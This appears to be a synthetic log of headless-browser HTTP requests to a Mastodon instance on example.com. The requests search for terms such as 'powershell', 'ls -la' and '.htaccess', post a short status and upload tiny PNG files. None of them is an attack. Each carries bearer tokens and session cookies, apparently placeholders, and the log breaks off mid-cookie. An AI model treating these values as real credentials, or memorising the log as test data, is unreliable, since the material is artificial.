{"method": "GET", "target": "/api/v1/accounts/search?q=bo&resolve=false&limit=4", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: 4y8fueDarW-ue4CZC2FDhkf2BxXJG1L5RClvez07L3iyyygpRvsSBiRqq32vDqHtA8uHug__lxBdHhgNmnwW9w", "Authorization: Bearer Imd2JNqDrq-bktl3N0Jn2m5iHaDEXCBL2rl9dhX7YHg", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/plain, */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/home", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqVTFaalEwWkRCaFpEWTRabUZtT0dZeFlUWmhabVEzTjJKbFkyUTFaREF3SWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDI6MTQuMTgyWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--b92fab7dd30ff048d3464bbffc8a7f41ed76f6d1; _mastodon_session=T22sm3cQgO4wGh%2B4imiwzNOd%2BhTFf5gtTOhuvxtCLU14Y3ljCz8fm4mCvGIhhOfkXkdYvDB%2BtjeEhhihUigicdLXXE%2B93QJ2dK5EQMyPF%2BMPc4zkHFfOQ7vs9XHoXROY85fhFl%2FoG0fMj7rFWSxGNhqMX9C3%2B4d72gPS2cbSJ3i4q00FRtY96P9ORGkRsaSfIiY6E4c2MeW%2BD82Tt6LhTQH2JH2EatyBFcX7MmaBD0S1x6LBppUYWq1gGOrag%2F4%2BWBjdRPYx%2FgotSbc79G1%2F25B0k4bKX8%2F5n9upe%2F9zGBDQ5XMrQobQZNJaXE%2BKnXxCGCT9NX2FrqF1it1ob4S6PkJZIRe41RdAzixlyMAuPkycTsqqawnyuAp%2BSNTmgKmZI2eBQ3hZBFLu--%2Fg5aSkaEDpacK1Lj--7M9nTKUSZT8Ixg15auUmpw%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v1/accounts/search?q=bob+have&resolve=false&limit=4", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: 4y8fueDarW-ue4CZC2FDhkf2BxXJG1L5RClvez07L3iyyygpRvsSBiRqq32vDqHtA8uHug__lxBdHhgNmnwW9w", "Authorization: Bearer Imd2JNqDrq-bktl3N0Jn2m5iHaDEXCBL2rl9dhX7YHg", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/plain, */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/home", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqVTFaalEwWkRCaFpEWTRabUZtT0dZeFlUWmhabVEzTjJKbFkyUTFaREF3SWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDI6MTQuMTgyWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--b92fab7dd30ff048d3464bbffc8a7f41ed76f6d1; _mastodon_session=T22sm3cQgO4wGh%2B4imiwzNOd%2BhTFf5gtTOhuvxtCLU14Y3ljCz8fm4mCvGIhhOfkXkdYvDB%2BtjeEhhihUigicdLXXE%2B93QJ2dK5EQMyPF%2BMPc4zkHFfOQ7vs9XHoXROY85fhFl%2FoG0fMj7rFWSxGNhqMX9C3%2B4d72gPS2cbSJ3i4q00FRtY96P9ORGkRsaSfIiY6E4c2MeW%2BD82Tt6LhTQH2JH2EatyBFcX7MmaBD0S1x6LBppUYWq1gGOrag%2F4%2BWBjdRPYx%2FgotSbc79G1%2F25B0k4bKX8%2F5n9upe%2F9zGBDQ5XMrQobQZNJaXE%2BKnXxCGCT9NX2FrqF1it1ob4S6PkJZIRe41RdAzixlyMAuPkycTsqqawnyuAp%2BSNTmgKmZI2eBQ3hZBFLu--%2Fg5aSkaEDpacK1Lj--7M9nTKUSZT8Ixg15auUmpw%3D%3D"], "body": ""}
|
||||||
|
{"method": "POST", "target": "/api/v1/statuses", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 228", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: 4y8fueDarW-ue4CZC2FDhkf2BxXJG1L5RClvez07L3iyyygpRvsSBiRqq32vDqHtA8uHug__lxBdHhgNmnwW9w", "Authorization: Bearer Imd2JNqDrq-bktl3N0Jn2m5iHaDEXCBL2rl9dhX7YHg", "Idempotency-Key: d0c560c6-f1e5-4f72-b889-75c177dfb492", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: application/json", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/home", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqVTFaalEwWkRCaFpEWTRabUZtT0dZeFlUWmhabVEzTjJKbFkyUTFaREF3SWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDI6MTQuMTgyWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--b92fab7dd30ff048d3464bbffc8a7f41ed76f6d1; _mastodon_session=T22sm3cQgO4wGh%2B4imiwzNOd%2BhTFf5gtTOhuvxtCLU14Y3ljCz8fm4mCvGIhhOfkXkdYvDB%2BtjeEhhihUigicdLXXE%2B93QJ2dK5EQMyPF%2BMPc4zkHFfOQ7vs9XHoXROY85fhFl%2FoG0fMj7rFWSxGNhqMX9C3%2B4d72gPS2cbSJ3i4q00FRtY96P9ORGkRsaSfIiY6E4c2MeW%2BD82Tt6LhTQH2JH2EatyBFcX7MmaBD0S1x6LBppUYWq1gGOrag%2F4%2BWBjdRPYx%2FgotSbc79G1%2F25B0k4bKX8%2F5n9upe%2F9zGBDQ5XMrQobQZNJaXE%2BKnXxCGCT9NX2FrqF1it1ob4S6PkJZIRe41RdAzixlyMAuPkycTsqqawnyuAp%2BSNTmgKmZI2eBQ3hZBFLu--%2Fg5aSkaEDpacK1Lj--7M9nTKUSZT8Ixg15auUmpw%3D%3D"], "body": "{\"status\":\"@bob have you tried python3 yet? :)\",\"spoiler_text\":\"\",\"in_reply_to_id\":null,\"media_ids\":[],\"sensitive\":false,\"visibility\":\"public\",\"poll\":null,\"language\":\"en\",\"quoted_status_id\":null,\"quote_approval_policy\":\"public\"}"}
|
||||||
|
{"method": "POST", "target": "/api/v2/media", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 270", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: 4y8fueDarW-ue4CZC2FDhkf2BxXJG1L5RClvez07L3iyyygpRvsSBiRqq32vDqHtA8uHug__lxBdHhgNmnwW9w", "Authorization: Bearer Imd2JNqDrq-bktl3N0Jn2m5iHaDEXCBL2rl9dhX7YHg", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryVvXX0xc5vKAlW6cW", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/home", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqVTFaalEwWkRCaFpEWTRabUZtT0dZeFlUWmhabVEzTjJKbFkyUTFaREF3SWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDI6MTQuMTgyWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--b92fab7dd30ff048d3464bbffc8a7f41ed76f6d1; _mastodon_session=zDd1jvw8R90jtMLwXO7zKsLDsc%2BwRiT267e0rlzV5QUlW2FJa8hFgGt%2FqOZdtfWbw29ZNYv0yhXmiJuz0NpsXL3MET%2BUzEqPz8Ztw2NNPlQvoNZMNiaYtpmV8JumaFDKbzQLYzVlpzW1GSGz%2BAo1KaeVBh4uaWldAzadX9dfjTWNHU9sQD%2BHIIKveuf8mJdGLi4g%2F73r6wAxaHwY9gqxyeKFLJew2o%2F9B%2FvmSbyw09uLCy7%2F8Lv%2BWC16z9SQogdIcEN4PObk94oLJuiJzUr9bRnvf2ViN0LOI%2BcKNUXZR3h2ricuBwAhsFqePZSCXqWKgKXGvt2FT0QrDk2B%2FEG%2FXyYLzfUb5vogbfjETFbGZK%2BQpgcfrLB3ZyRLqbxE4GmOfLgVoip3tUxY--xGWcksEXAHHRZCy%2F--vKy815ZRV7sE%2FQH5jF83nw%3D%3D"], "body": "------WebKitFormBoundaryVvXX0xc5vKAlW6cW\r\nContent-Disposition: form-data; name=\"file\"; filename=\"Notes python3.png\"\r\nContent-Type: image/png\r\n\r\n\ufffdPNG\r\n\u001a\n\u0000\u0000\u0000\rIHDR\u0000\u0000\u0000\u0010\u0000\u0000\u0000\u0010\b\u0002\u0000\u0000\u0000\ufffd\ufffdh6\u0000\u0000\u0000\u0017IDATx\ufffdc\ufffd\ufffd\ufffd@\u0012\"M\ufffd\ufffd\ufffdQ\rCJ\u0003\u0000\ufffdu\u007f\u0010\u0019i$\ufffd\u0000\u0000\u0000\u0000IEND\ufffdB`\ufffd\r\n------WebKitFormBoundaryVvXX0xc5vKAlW6cW--\r\n"}
|
||||||
|
{"method": "POST", "target": "/api/v2/media", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 274", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: 4y8fueDarW-ue4CZC2FDhkf2BxXJG1L5RClvez07L3iyyygpRvsSBiRqq32vDqHtA8uHug__lxBdHhgNmnwW9w", "Authorization: Bearer Imd2JNqDrq-bktl3N0Jn2m5iHaDEXCBL2rl9dhX7YHg", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7M68vQfsTam71WxV", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/home", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqVTFaalEwWkRCaFpEWTRabUZtT0dZeFlUWmhabVEzTjJKbFkyUTFaREF3SWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDI6MTQuMTgyWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--b92fab7dd30ff048d3464bbffc8a7f41ed76f6d1; _mastodon_session=my9t%2FIFIx1CqQmJp8LOrDbGAmOWHAAMVRzRjf%2BRJbEmtG9ybODPOfBMLMo73xOERXfCrfW7ifwonj8EoesQItbLvtuOZalmz8uAGBB6MljeOsBTvcxs8MIjBvcUtkF4W4k5%2FrB8rb9Q6SIsY7oAtlT1h7550KKMh%2Bay%2B%2FnehahoVLN2cXVa40eIMm8SyCdZjopb%2FY7zBGDIJNDyCo6Fe9o1UfSkcBxZ0GMXExrAwFtzsmE1LOnPVEMpzH2iOqPswJ%2BJUlSv35t9xqo5Rt7mFAKQmXxv7F6EdjYTpKqV7mhVTlcr5wTLZjWFTFNXMsoBwkRw4IQMj7N4pJ%2FXLmTmjM6eqSmYZBLc%2FZ4UR8lJZ4Ibi5mlnZe0jOJn0GyvgFKrWyc7LtSBqjbtQ--pAFEGqNoR%2FLtyZYW--RWzDxh7SBwyJ5dQjap%2BgqQ%3D%3D"], "body": "------WebKitFormBoundary7M68vQfsTam71WxV\r\nContent-Disposition: form-data; name=\"file\"; filename=\"Example .htaccess.png\"\r\nContent-Type: image/png\r\n\r\n\ufffdPNG\r\n\u001a\n\u0000\u0000\u0000\rIHDR\u0000\u0000\u0000\u0010\u0000\u0000\u0000\u0010\b\u0002\u0000\u0000\u0000\ufffd\ufffdh6\u0000\u0000\u0000\u0017IDATx\ufffdc\ufffd\ufffd\ufffd@\u0012\"M\ufffd\ufffd\ufffdQ\rCJ\u0003\u0000\ufffdu\u007f\u0010\u0019i$\ufffd\u0000\u0000\u0000\u0000IEND\ufffdB`\ufffd\r\n------WebKitFormBoundary7M68vQfsTam71WxV--\r\n"}
|
||||||
|
{"method": "GET", "target": "/packs/form_fields-DfnQ2g39.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqVTFaalEwWkRCaFpEWTRabUZtT0dZeFlUWmhabVEzTjJKbFkyUTFaREF3SWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDI6MTQuMTgyWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--b92fab7dd30ff048d3464bbffc8a7f41ed76f6d1; _mastodon_session=uzfS6TLAyWh5wUdt%2FnUnWe2TtnFzvC9b%2FOPbz2RrI95ejaAFx0Je2A5gMC2rH3XXNpnbXqws0YvNHT1K7%2BJufXKIEMs4q8OXeuhvKrzqFhVHG8%2F6GivC%2ByaS32S1Je9mhvf0kV4cW46z0TBTv%2BzvqxSiFdzQkFn7rs03cp1UZH%2BB3pQbFckLyfZl7fwrxF%2F6Azdg%2BemU8Kqeo1XPf3q3QwB3ngS51emJ3NDrxJ9rNDSGUwiJ1rbCHGXdP4ckdjmTsf3%2BeBoYsQVPbp0M6aUcvRLn8v7onscBDXa%2FTU5Njcouu1UZY1w5NwW%2BKlDGfgPahXaq2CszsU%2BwlexJoJCvli8LhmQHiqDObfca9YLy30YMy9hlvlQKpGbNE6xnEVXhl%2FeEfBwqbf3C--mPjXtM8XGh3jyGuj--U%2BUCXBpsPK6Us3f%2BU0IJcw%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v2/search?q=python3&resolve=true&limit=11", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: 4y8fueDarW-ue4CZC2FDhkf2BxXJG1L5RClvez07L3iyyygpRvsSBiRqq32vDqHtA8uHug__lxBdHhgNmnwW9w", "Authorization: Bearer Imd2JNqDrq-bktl3N0Jn2m5iHaDEXCBL2rl9dhX7YHg", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/plain, */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/search?q=python3", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqVTFaalEwWkRCaFpEWTRabUZtT0dZeFlUWmhabVEzTjJKbFkyUTFaREF3SWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDI6MTQuMTgyWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--b92fab7dd30ff048d3464bbffc8a7f41ed76f6d1; _mastodon_session=uzfS6TLAyWh5wUdt%2FnUnWe2TtnFzvC9b%2FOPbz2RrI95ejaAFx0Je2A5gMC2rH3XXNpnbXqws0YvNHT1K7%2BJufXKIEMs4q8OXeuhvKrzqFhVHG8%2F6GivC%2ByaS32S1Je9mhvf0kV4cW46z0TBTv%2BzvqxSiFdzQkFn7rs03cp1UZH%2BB3pQbFckLyfZl7fwrxF%2F6Azdg%2BemU8Kqeo1XPf3q3QwB3ngS51emJ3NDrxJ9rNDSGUwiJ1rbCHGXdP4ckdjmTsf3%2BeBoYsQVPbp0M6aUcvRLn8v7onscBDXa%2FTU5Njcouu1UZY1w5NwW%2BKlDGfgPahXaq2CszsU%2BwlexJoJCvli8LhmQHiqDObfca9YLy30YMy9hlvlQKpGbNE6xnEVXhl%2FeEfBwqbf3C--mPjXtM8XGh3jyGuj--U%2BUCXBpsPK6Us3f%2BU0IJcw%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v2/search?q=powershell&resolve=true&limit=11", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: 4y8fueDarW-ue4CZC2FDhkf2BxXJG1L5RClvez07L3iyyygpRvsSBiRqq32vDqHtA8uHug__lxBdHhgNmnwW9w", "Authorization: Bearer Imd2JNqDrq-bktl3N0Jn2m5iHaDEXCBL2rl9dhX7YHg", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/plain, */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/search?q=powershell", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqVTFaalEwWkRCaFpEWTRabUZtT0dZeFlUWmhabVEzTjJKbFkyUTFaREF3SWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDI6MTQuMTgyWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--b92fab7dd30ff048d3464bbffc8a7f41ed76f6d1; _mastodon_session=uzfS6TLAyWh5wUdt%2FnUnWe2TtnFzvC9b%2FOPbz2RrI95ejaAFx0Je2A5gMC2rH3XXNpnbXqws0YvNHT1K7%2BJufXKIEMs4q8OXeuhvKrzqFhVHG8%2F6GivC%2ByaS32S1Je9mhvf0kV4cW46z0TBTv%2BzvqxSiFdzQkFn7rs03cp1UZH%2BB3pQbFckLyfZl7fwrxF%2F6Azdg%2BemU8Kqeo1XPf3q3QwB3ngS51emJ3NDrxJ9rNDSGUwiJ1rbCHGXdP4ckdjmTsf3%2BeBoYsQVPbp0M6aUcvRLn8v7onscBDXa%2FTU5Njcouu1UZY1w5NwW%2BKlDGfgPahXaq2CszsU%2BwlexJoJCvli8LhmQHiqDObfca9YLy30YMy9hlvlQKpGbNE6xnEVXhl%2FeEfBwqbf3C--mPjXtM8XGh3jyGuj--U%2BUCXBpsPK6Us3f%2BU0IJcw%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v2/search?q=ls+-la&resolve=true&limit=11", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: 4y8fueDarW-ue4CZC2FDhkf2BxXJG1L5RClvez07L3iyyygpRvsSBiRqq32vDqHtA8uHug__lxBdHhgNmnwW9w", "Authorization: Bearer Imd2JNqDrq-bktl3N0Jn2m5iHaDEXCBL2rl9dhX7YHg", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/plain, */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/search?q=ls+-la", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqVTFaalEwWkRCaFpEWTRabUZtT0dZeFlUWmhabVEzTjJKbFkyUTFaREF3SWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDI6MTQuMTgyWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--b92fab7dd30ff048d3464bbffc8a7f41ed76f6d1; _mastodon_session=uzfS6TLAyWh5wUdt%2FnUnWe2TtnFzvC9b%2FOPbz2RrI95ejaAFx0Je2A5gMC2rH3XXNpnbXqws0YvNHT1K7%2BJufXKIEMs4q8OXeuhvKrzqFhVHG8%2F6GivC%2ByaS32S1Je9mhvf0kV4cW46z0TBTv%2BzvqxSiFdzQkFn7rs03cp1UZH%2BB3pQbFckLyfZl7fwrxF%2F6Azdg%2BemU8Kqeo1XPf3q3QwB3ngS51emJ3NDrxJ9rNDSGUwiJ1rbCHGXdP4ckdjmTsf3%2BeBoYsQVPbp0M6aUcvRLn8v7onscBDXa%2FTU5Njcouu1UZY1w5NwW%2BKlDGfgPahXaq2CszsU%2BwlexJoJCvli8LhmQHiqDObfca9YLy30YMy9hlvlQKpGbNE6xnEVXhl%2FeEfBwqbf3C--mPjXtM8XGh3jyGuj--U%2BUCXBpsPK6Us3f%2BU0IJcw%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v1/timelines/home?since_id=117589367555012187", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: 4y8fueDarW-ue4CZC2FDhkf2BxXJG1L5RClvez07L3iyyygpRvsSBiRqq32vDqHtA8uHug__lxBdHhgNmnwW9w", "Authorization: Bearer Imd2JNqDrq-bktl3N0Jn2m5iHaDEXCBL2rl9dhX7YHg", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/plain, */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/search?q=ls+-la", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqVTFaalEwWkRCaFpEWTRabUZtT0dZeFlUWmhabVEzTjJKbFkyUTFaREF3SWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDI6MTQuMTgyWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--b92fab7dd30ff048d3464bbffc8a7f41ed76f6d1; _mastodon_session=uzfS6TLAyWh5wUdt%2FnUnWe2TtnFzvC9b%2FOPbz2RrI95ejaAFx0Je2A5gMC2rH3XXNpnbXqws0YvNHT1K7%2BJufXKIEMs4q8OXeuhvKrzqFhVHG8%2F6GivC%2ByaS32S1Je9mhvf0kV4cW46z0TBTv%2BzvqxSiFdzQkFn7rs03cp1UZH%2BB3pQbFckLyfZl7fwrxF%2F6Azdg%2BemU8Kqeo1XPf3q3QwB3ngS51emJ3NDrxJ9rNDSGUwiJ1rbCHGXdP4ckdjmTsf3%2BeBoYsQVPbp0M6aUcvRLn8v7onscBDXa%2FTU5Njcouu1UZY1w5NwW%2BKlDGfgPahXaq2CszsU%2BwlexJoJCvli8LhmQHiqDObfca9YLy30YMy9hlvlQKpGbNE6xnEVXhl%2FeEfBwqbf3C--mPjXtM8XGh3jyGuj--U%2BUCXBpsPK6Us3f%2BU0IJcw%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v2/search?q=.htaccess&resolve=true&limit=11", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: 4y8fueDarW-ue4CZC2FDhkf2BxXJG1L5RClvez07L3iyyygpRvsSBiRqq32vDqHtA8uHug__lxBdHhgNmnwW9w", "Authorization: Bearer Imd2JNqDrq-bktl3N0Jn2m5iHaDEXCBL2rl9dhX7YHg", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/plain, */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/search?q=.htaccess", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqVTFaalEwWkRCaFpEWTRabUZtT0dZeFlUWmhabVEzTjJKbFkyUTFaREF3SWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDI6MTQuMTgyWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--b92fab7dd30ff048d3464bbffc8a7f41ed76f6d1; _mastodon_session=uzfS6TLAyWh5wUdt%2FnUnWe2TtnFzvC9b%2FOPbz2RrI95ejaAFx0Je2A5gMC2rH3XXNpnbXqws0YvNHT1K7%2BJufXKIEMs4q8OXeuhvKrzqFhVHG8%2F6GivC%2ByaS32S1Je9mhvf0kV4cW46z0TBTv%2BzvqxSiFdzQkFn7rs03cp1UZH%2BB3pQbFckLyfZl7fwrxF%2F6Azdg%2BemU8Kqeo1XPf3q3QwB3ngS51emJ3NDrxJ9rNDSGUwiJ1rbCHGXdP4ckdjmTsf3%2BeBoYsQVPbp0M6aUcvRLn8v7onscBDXa%2FTU5Njcouu1UZY1w5NwW%2BKlDGfgPahXaq2CszsU%2BwlexJoJCvli8LhmQHiqDObfca9YLy30YMy9hlvlQKpGbNE6xnEVXhl%2FeEfBwqbf3C--mPjXtM8XGh3jyGuj--U%2BUCXBpsPK6Us3f%2BU0IJcw%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v2/search?q=river+walk&resolve=true&limit=11", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: 4y8fueDarW-ue4CZC2FDhkf2BxXJG1L5RClvez07L3iyyygpRvsSBiRqq32vDqHtA8uHug__lxBdHhgNmnwW9w", "Authorization: Bearer Imd2JNqDrq-bktl3N0Jn2m5iHaDEXCBL2rl9dhX7YHg", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/plain, */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/search?q=river+walk", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqVTFaalEwWkRCaFpEWTRabUZtT0dZeFlUWmhabVEzTjJKbFkyUTFaREF3SWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDI6MTQuMTgyWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--b92fab7dd30ff048d3464bbffc8a7f41ed76f6d1; 